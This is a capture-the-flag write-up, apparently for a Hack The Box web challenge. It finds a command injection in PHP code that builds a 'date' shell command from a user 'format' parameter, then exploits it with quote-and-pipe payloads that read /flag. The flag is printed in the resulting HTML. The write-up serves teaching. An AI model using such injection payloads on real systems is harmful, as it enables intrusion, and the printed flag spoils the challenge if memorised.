Since HTB was nice to provide the backend source code, let's review it, below are some interesting findings, in the TimeModel.php, we can see that the command to get the date is likely vulnerable to command injection based on how the format is directly used in the command execution (which after running the web app once you would notice that it takes in a "format" parameter)

```php
1 <?php
2 class TimeModel
3 {
4     public function __construct($format)
5     {
6         $this->command = "date '+" . $format . "' 2>&1";
7     }
8
9     public function getTime()
10    {
11        $time = exec($this->command);
12        $res  = isset($time) ? $time : '?';
13        return $res;
14    }
15 }
```

Second interesting find might be the /views/index.php

```php
public function view($view, $data = [])
{
    extract($data);
    include __DIR__."/views/${view}.php";
    exit;
}
```
-> this is later proved to be useless since it does not interact with the server in anyway

Lets try injecting my own commands to execute **';$(cat /flag)'**, url encoded would be **%27;$(cat%20/flag)%27** -> Nothing returned, hmm let's try something simpler

```
15
16    <link rel='icon' href='/assets/favicon.png' />
16    <link rel='stylesheet' href='/static/main.css' />
17  </head>
18  <body>
19    <nav class="navbar navbar-dark bg-primary navbar-expand-lg mb-4">
20      <a class="navbar-brand mb-0" href="?format=%H:%M:%S">
        🕒 What's the time?
      </a>
21      <div class="collapse navbar-collapse" id="navbarSupportedContent">
22        <ul class="navbar-nav">
23          <li class="nav-item">
24            <a class="nav-link" href="?format=%Y-%m-%d">
              🕒 What's the date? <span class="sr-only">
              (current)
              </span>
            </a>
25          </li>
26        </ul>
27      </div>
28    </nav>
29    <div class="jumbotron vertical-center">
30      <div class="container">
31        <div class="container">
32          <h1 class="jumbotron-heading">
            ><span class='text-muted'>
            It's
            </span>
            <span class='text-muted'>

            </span>
          </h1>
33        </div>
34      </div>
35    </div>
36  </body>
37  <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="
      sha384-J6qa4849blE2+poT4mnyKhv5vZF5SrPo0iEjwBvKU7imGFAVOwwjlyYfoRSJoZ+n" crossorigin="
      anonymous">
    </script>
38  <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js"
      integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvISIOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo"
      crossorigin="anonymous">
    </script>
39  <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js"
      integrity="sha384-wfSDF2E5OY2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6"
      crossorigin="anonymous">
    </script>
40 </html>
```

Lets just do a single quote follow by a pipe so that we can chain the commands of formatting and our cat command

'|cat /flag' or url encoded would be **%27|cat%20/flag%27** -> viola that is the case

```
15      <link rel="icon" href="/assets/favicon.png" />
16      <link rel='stylesheet' href='/static/main.css' />
17    </head>
18    <body>
19      <nav class="navbar navbar-dark bg-primary navbar-expand-lg mb-4">
20        <a class="navbar-brand mb-0" href="?format=%H:%M:%S">
            ⌚ What's the time?
          </a>
21        <div class="collapse navbar-collapse" id="navbarSupportedContent">
22          <ul class="navbar-nav">
23            <li class="nav-item">
24              <a class="nav-link" href="?format=%Y-%m-%d">
                  📅 What's the date? <span class="sr-only">
                  (current)
                  </span>
                </a>
25            </li>
26          </ul>
27        </div>
28      </nav>
29      <div class="jumbotron vertical-center">
30        <div class="container">
31          <div class="container">
32            <h1 class="jumbotron-heading">
                ><span class='text-muted'>
                  It's
                </span>
                 HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}<span class='text-muted'>
                  .
                </span>
              </h1>
33          </div>
34        </div>
35      </div>
36    </body>
37    <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="
      sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAVOwwj1yYfoRSJoZ+n" crossorigin="
      anonymous">
      </script>
38    <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js"
      integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo"
      crossorigin="anonymous">
      </script>
39    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js"
      integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl30g8ifwB6"
      crossorigin="anonymous">
      </script>
40  </html>
```


>It's HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}.